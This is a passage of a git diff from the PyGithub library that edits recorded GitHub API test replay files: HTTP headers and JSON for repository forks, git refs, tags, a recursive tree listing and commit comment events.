github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:53:25Z","id":"1554703698","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:50:02Z","id":"1554702296","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:49:34Z","id":"1554702087","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:40:18Z","id":"1554698320","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}] - diff --git a/tests/ReplayData/Repository.testGetForks.txt b/tests/ReplayData/Repository.testGetForks.txt index a674ffdecb..23c71cfb32 100644 --- a/tests/ReplayData/Repository.testGetForks.txt +++ b/tests/ReplayData/Repository.testGetForks.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '1141'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6f7c9361ed89e4c405627dba9e70b879"'), ('date', 'Sun, 27 May 2012 06:58:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/abersager/PyGithub.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/abersager/PyGithub.git","updated_at":"2012-03-28T10:37:22Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/abersager/PyGithub","owner":{"url":"https://api.github.com/users/abersager","gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","id":1328351,"avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:abersager/PyGithub.git","pushed_at":"2012-03-26T10:05:31Z","created_at":"2012-03-26T09:12:45Z","id":3831162,"html_url":"https://github.com/abersager/PyGithub","full_name":"abersager/PyGithub"}] - diff --git a/tests/ReplayData/Repository.testGetGitRef.txt b/tests/ReplayData/Repository.testGetGitRef.txt index d99af0ff1f..45e68b5bb9 100644 --- a/tests/ReplayData/Repository.testGetGitRef.txt +++ b/tests/ReplayData/Repository.testGetGitRef.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '288'), ('server', 'nginx'), ('last-modified', 'Sun, 28 Oct 2012 01:48:38 GMT'), ('connection', 'keep-alive'), ('etag', '"d7478b9ae7e3c0de496ede43edd2fdfc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 28 Oct 2012 08:58:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/master","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/31110327ec45f3138e58ed247b2cf420fee481ec","type":"commit","sha":"31110327ec45f3138e58ed247b2cf420fee481ec"},"ref":"refs/heads/master"} - diff --git a/tests/ReplayData/Repository.testGetGitRefWithIssue102Reverted.txt b/tests/ReplayData/Repository.testGetGitRefWithIssue102Reverted.txt index d99af0ff1f..45e68b5bb9 100644 --- a/tests/ReplayData/Repository.testGetGitRefWithIssue102Reverted.txt +++ b/tests/ReplayData/Repository.testGetGitRefWithIssue102Reverted.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '288'), ('server', 'nginx'), ('last-modified', 'Sun, 28 Oct 2012 01:48:38 GMT'), ('connection', 'keep-alive'), ('etag', '"d7478b9ae7e3c0de496ede43edd2fdfc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 28 Oct 2012 08:58:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/master","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/31110327ec45f3138e58ed247b2cf420fee481ec","type":"commit","sha":"31110327ec45f3138e58ed247b2cf420fee481ec"},"ref":"refs/heads/master"} - diff --git a/tests/ReplayData/Repository.testGetGitRefs.txt b/tests/ReplayData/Repository.testGetGitRefs.txt index ed8e9b6b83..01c68899af 100644 --- a/tests/ReplayData/Repository.testGetGitRefs.txt +++ b/tests/ReplayData/Repository.testGetGitRefs.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('content-length', '3176'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"85c62d1ec1ea8966569c391d802d4f3f"'), ('date', 'Sun, 27 May 2012 07:00:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"ref":"refs/heads/develop","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/develop","object":{"type":"commit","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16"}},{"ref":"refs/heads/master","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/master","object":{"type":"commit","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"}},{"ref":"refs/heads/topic/DependencyGraph","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/topic/DependencyGraph","object":{"type":"commit","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/05157f11f29a3ac057e35d2487880c5d08bd69af","sha":"05157f11f29a3ac057e35d2487880c5d08bd69af"}},{"ref":"refs/heads/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/topic/RewriteWithGeneratedCode","object":{"type":"commit","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/956279094a7383b6a8f00c93770ed02ca711f8e5","sha":"956279094a7383b6a8f00c93770ed02ca711f8e5"}},{"ref":"refs/tags/v0.1","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v0.1","object":{"type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/fc28301862c0118b88cc94da678fb5104b249370","sha":"fc28301862c0118b88cc94da678fb5104b249370"}},{"ref":"refs/tags/v0.2","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v0.2","object":{"type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/48cabc0fc3b1a9767d6f0db9f6058f24681cada7","sha":"48cabc0fc3b1a9767d6f0db9f6058f24681cada7"}},{"ref":"refs/tags/v0.3","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v0.3","object":{"type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/4870747f5faf15ba38ece8211283ef87b25679c1","sha":"4870747f5faf15ba38ece8211283ef87b25679c1"}},{"ref":"refs/tags/v0.4","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v0.4","object":{"type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/26fb28983636cb4773acb5581f4a443cd0aef808","sha":"26fb28983636cb4773acb5581f4a443cd0aef808"}},{"ref":"refs/tags/v0.5","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v0.5","object":{"type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/c88b802b71cf19cfbc2e915dbb8a0e98f235a926","sha":"c88b802b71cf19cfbc2e915dbb8a0e98f235a926"}},{"ref":"refs/tags/v0.6","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v0.6","object":{"type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c","sha":"f5f37322407b02a80de4526ad88d5f188977bc3c"}},{"ref":"refs/tags/v0.7","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/tags/v0.7","object":{"type":"tag","url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/78ca479ac54294dabd16a6644bbe5e013fabf183","sha":"78ca479ac54294dabd16a6644bbe5e013fabf183"}}] - diff --git a/tests/ReplayData/Repository.testGetGitTreeWithRecursive.txt b/tests/ReplayData/Repository.testGetGitTreeWithRecursive.txt index 60c98e2020..7ca45f7467 100644 --- a/tests/ReplayData/Repository.testGetGitTreeWithRecursive.txt +++ b/tests/ReplayData/Repository.testGetGitTreeWithRecursive.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '22154'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c20355ebfacf97b7c3b8809da473b6be"'), ('date', 'Tue, 29 May 2012 17:50:12 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad","tree":[{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd","size":53,"path":".gitignore","sha":"8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/7863d93a3ef3700fd05d2e0e6b9c1b5161c4572b","size":1832,"path":"Design.md","sha":"7863d93a3ef3700fd05d2e0e6b9c1b5161c4572b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/82be8f1b97c4cfb005ad9ce8b8215c2f71470630","size":28643,"path":"IntegrationTest.py","sha":"82be8f1b97c4cfb005ad9ce8b8215c2f71470630","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/8da6802f0b9d4acd1945440053dfd6be3ee80c95","size":3153,"path":"ReadMe.md","sha":"8da6802f0b9d4acd1945440053dfd6be3ee80c95","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/3ee24565835d6a352e0ce37b1f2413572f55e368","size":12687,"path":"ReferenceOfApis.md","sha":"3ee24565835d6a352e0ce37b1f2413572f55e368","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/af9d09559eb6dae86af23b81e6ddcebfa4dc37e6","size":15967,"path":"ReferenceOfClasses.md","sha":"af9d09559eb6dae86af23b81e6ddcebfa4dc37e6","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/60b4602b2c2070246c5df078fb7a5150b45815eb","path":"ReplayDataForIntegrationTest","sha":"60b4602b2c2070246c5df078fb7a5150b45815eb","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/899acba9e6519909e8f518c93b3775a656359386","size":609,"path":"ReplayDataForIntegrationTest/AuthenticatedUserDetails.txt","sha":"899acba9e6519909e8f518c93b3775a656359386","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/e768d406b775a852e46fc54cb6924c7f37f6b7bd","size":7158,"path":"ReplayDataForIntegrationTest/Colaborators.txt","sha":"e768d406b775a852e46fc54cb6924c7f37f6b7bd","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/291ed44bf7e03cd9b6f02af19499589e54b7398a","size":23895,"path":"ReplayDataForIntegrationTest/CommentCommit.txt","sha":"291ed44bf7e03cd9b6f02af19499589e54b7398a","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/7abd0442ccde81422bf9967e655dd0e28092d909","size":7638,"path":"ReplayDataForIntegrationTest/CreateForkForOrganization.txt","sha":"7abd0442ccde81422bf9967e655dd0e28092d909","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/6e61fd654124629b0ff2b1f6de97ff8fe486870f","size":9063,"path":"ReplayDataForIntegrationTest/CreateRepoForOrganization.txt","sha":"6e61fd654124629b0ff2b1f6de97ff8fe486870f","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/cb671f517ba3c8002ecb2f7336ce180f60c2e99b","size":47473,"path":"ReplayDataForIntegrationTest/CreateRepoForUser.txt","sha":"cb671f517ba3c8002ecb2f7336ce180f60c2e99b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/b4171942210f47faddba6df980d64bd8e2072cb5","size":6762,"path":"ReplayDataForIntegrationTest/Downloads.txt","sha":"b4171942210f47faddba6df980d64bd8e2072cb5","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/9ec888931dda43e8e88f33f70cdc0a95992f021d","size":3521,"path":"ReplayDataForIntegrationTest/EditAuthenticatedUser.txt","sha":"9ec888931dda43e8e88f33f70cdc0a95992f021d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/f60c63a9ee01455d98173b943c309bd8ca0c358d","size":3283,"path":"ReplayDataForIntegrationTest/EditOrganization.txt","sha":"f60c63a9ee01455d98173b943c309bd8ca0c358d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/fe947fcec0a35994498b2b0517fbba01becafafc","size":24634,"path":"ReplayDataForIntegrationTest/EditOrganizationTeamAndMembers.txt","sha":"fe947fcec0a35994498b2b0517fbba01becafafc","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/78fdccde664076fc363446ee2dd18d4f08d19e24","size":2034,"path":"ReplayDataForIntegrationTest/Emails.txt","sha":"78fdccde664076fc363446ee2dd18d4f08d19e24","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/53d65d31fc057de4d0fc62668ca695ea690463b7","size":830522,"path":"ReplayDataForIntegrationTest/Events.txt","sha":"53d65d31fc057de4d0fc62668ca695ea690463b7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/193f10c7d2d8b29de1d430f6665ebec492f7bc03","size":13489,"path":"ReplayDataForIntegrationTest/Follow.txt","sha":"193f10c7d2d8b29de1d430f6665ebec492f7bc03","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/355cfac1f2b53d6dd09bc861f982e7380ab7ea6c","size":39318,"path":"ReplayDataForIntegrationTest/Gists.txt","sha":"355cfac1f2b53d6dd09bc861f982e7380ab7ea6c","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/b18abe6bda1a8d5690effc4709ca2284c0ba3fce","size":274113,"path":"ReplayDataForIntegrationTest/GistsAll.txt","sha":"b18abe6bda1a8d5690effc4709ca2284c0ba3fce","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/b8ff613ae927823bb6aa0b0430e0131626353493","size":17052,"path":"ReplayDataForIntegrationTest/GitObjects.txt","sha":"b8ff613ae927823bb6aa0b0430e0131626353493","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/be345cdb76780a84fdb0f7a8e9d4f92d93730b44","size":10297,"path":"ReplayDataForIntegrationTest/GitObjectsAlternative.txt","sha":"be345cdb76780a84fdb0f7a8e9d4f92d93730b44","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/bf0471641650dcf92d33bc6aafd7307b8c43b652","size":7486,"path":"ReplayDataForIntegrationTest/Hooks.txt","sha":"bf0471641650dcf92d33bc6aafd7307b8c43b652","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/1631b78249fcdde37c5bc54832c202372ebcc0d6","size":60086,"path":"ReplayDataForIntegrationTest/IssuesAndMilestones.txt","sha":"1631b78249fcdde37c5bc54832c202372ebcc0d6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/40e23bcc3d16a3f409ded8487d526ce019f14cba","size":23825,"path":"ReplayDataForIntegrationTest/IssuesForAuthenticatedUser.txt","sha":"40e23bcc3d16a3f409ded8487d526ce019f14cba","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/119acdad17754f2b806f8f2a236152d5e2738072","size":12513,"path":"ReplayDataForIntegrationTest/Keys.txt","sha":"119acdad17754f2b806f8f2a236152d5e2738072","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/5fb50bcb8c87b2edcf8e3f700483533f67ba63fa","size":8501,"path":"ReplayDataForIntegrationTest/MergePullRequest.txt","sha":"5fb50bcb8c87b2edcf8e3f700483533f67ba63fa","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/e2bb418a947baf51f5a726c81dc12849d8e57401","size":65016,"path":"ReplayDataForIntegrationTest/NamedUserDetails.txt","sha":"e2bb418a947baf51f5a726c81dc12849d8e57401","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/d37e86574b55beedca277dc67f591ce1ad677950","size":877,"path":"ReplayDataForIntegrationTest/OrganizationDetails.txt","sha":"d37e86574b55beedca277dc67f591ce1ad677950","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/a0d497fb5819e66685d5506ca091ca626cd8cc9b","size":41292,"path":"ReplayDataForIntegrationTest/PullRequest.txt","sha":"a0d497fb5819e66685d5506ca091ca626cd8cc9b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/8d3c8098592470fca5ae07a1edf271fcf2682268","size":160243,"path":"ReplayDataForIntegrationTest/RepositoryCompare.txt","sha":"8d3c8098592470fca5ae07a1edf271fcf2682268","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/04c0eae1a45e1f74085a5bb566f3ac022afc7653","size":26507,"path":"ReplayDataForIntegrationTest/RepositoryDetails.txt","sha":"04c0eae1a45e1f74085a5bb566f3ac022afc7653","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/0fa34785c12f0969f8a6862531dbf9e9ee0a32a1","size":8833,"path":"ReplayDataForIntegrationTest/RepositoryKeys.txt","sha":"0fa34785c12f0969f8a6862531dbf9e9ee0a32a1","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/f294af3d6284498ed413ed56d0ede0635acd1e96","size":31556,"path":"ReplayDataForIntegrationTest/Watch.txt","sha":"f294af3d6284498ed413ed56d0ede0635acd1e96","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/61cfa6bc84a562c134770b1e10445e7b810dbc26","size":320,"path":"RoadMap.md","sha":"61cfa6bc84a562c134770b1e10445e7b810dbc26","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/929f19535e74d80fb117aa021742ce2556ddc9a2","path":"github","sha":"929f19535e74d80fb117aa021742ce2556ddc9a2","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/c05b41fe0f526f0d92a00381860c5005d8910218","size":2251,"path":"github/GenerateReferenceOfApis.py","sha":"c05b41fe0f526f0d92a00381860c5005d8910218","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/c7c328b2e79ad79b3188da87f2458278b4df370e","size":751,"path":"github/GenerateReferenceOfClasses.py","sha":"c7c328b2e79ad79b3188da87f2458278b4df370e","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/73d750640226cc5c80141101578adf2159056431","size":7848,"path":"github/Github.UnitTest.py","sha":"73d750640226cc5c80141101578adf2159056431","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/e6373d6ea2c02bdf37e9b26fc7f7b08db9f011b8","size":1281,"path":"github/Github.py","sha":"e6373d6ea2c02bdf37e9b26fc7f7b08db9f011b8","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/1a549caa38bde6661f0b9d881a5d765c633c1992","path":"github/GithubObjects","sha":"1a549caa38bde6661f0b9d881a5d765c633c1992","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/22d7121fb27e682e09bc670c29ac981e3cb62a7e","size":4049,"path":"github/GithubObjects/AuthenticatedUser.py","sha":"22d7121fb27e682e09bc670c29ac981e3cb62a7e","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/2316041bf8880725effc3ce8c8c2b7cf8db11cee","size":400,"path":"github/GithubObjects/Authorization.py","sha":"2316041bf8880725effc3ce8c8c2b7cf8db11cee","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/30fbebc5e728fa98337221da0c155227662362d7","size":179,"path":"github/GithubObjects/Branch.py","sha":"30fbebc5e728fa98337221da0c155227662362d7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/3a990227a4fcb71ae3d32fe2af24d249edf8150d","size":884,"path":"github/GithubObjects/Commit.py","sha":"3a990227a4fcb71ae3d32fe2af24d249edf8150d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/5bb931084bfbe9f76bd70ac630f7528393c77a23","size":443,"path":"github/GithubObjects/CommitComment.py","sha":"5bb931084bfbe9f76bd70ac630f7528393c77a23","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/a4577f31e2753b88d104d9f252883655ed617211","size":485,"path":"github/GithubObjects/Download.py","sha":"a4577f31e2753b88d104d9f252883655ed617211","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/1cdb4e961f76bca3371ce524fd8f19d18977c060","size":407,"path":"github/GithubObjects/Event.py","sha":"1cdb4e961f76bca3371ce524fd8f19d18977c060","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/771c33f701ab4d5a2a7ff0b6a64bb82b4467da59","size":1755,"path":"github/GithubObjects/Gist.py","sha":"771c33f701ab4d5a2a7ff0b6a64bb82b4467da59","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/4fc4c442cc6bdb1f2323b6f0195518e3549d53ec","size":352,"path":"github/GithubObjects/GistComment.py","sha":"4fc4c442cc6bdb1f2323b6f0195518e3549d53ec","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/607429faac7285ffaf30f42e9e3d2498f9dce199","size":259,"path":"github/GithubObjects/GitBlob.py","sha":"607429faac7285ffaf30f42e9e3d2498f9dce199","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/c9aa31c2047c9e18d092cdb8362b0872a4c858da","size":330,"path":"github/GithubObjects/GitCommit.py","sha":"c9aa31c2047c9e18d092cdb8362b0872a4c858da","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/f242e173e74399387fec3e65311ed1b4d9307795","size":301,"path":"github/GithubObjects/GitRef.py","sha":"f242e173e74399387fec3e65311ed1b4d9307795","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/9248ea6195629a87a603bc2a960c5a88da50c7aa","size":279,"path":"github/GithubObjects/GitTag.py","sha":"9248ea6195629a87a603bc2a960c5a88da50c7aa","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/61dac784bf2103e9b55e141042efd26da9ebcd3d","size":295,"path":"github/GithubObjects/GitTree.py","sha":"61dac784bf2103e9b55e141042efd26da9ebcd3d","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/173066f1477e24afa2ffd4cb9ceedb2531256837","path":"github/GithubObjects/GithubObject","sha":"173066f1477e24afa2ffd4cb9ceedb2531256837","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/b2c5b054c3587ec60e2873bb269940eb2d09d0fa","size":2121,"path":"github/GithubObjects/GithubObject/ArgumentsChecker.py","sha":"b2c5b054c3587ec60e2873bb269940eb2d09d0fa","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/2702c9f4df72cd9c77e4545081cf7e5511523a0f",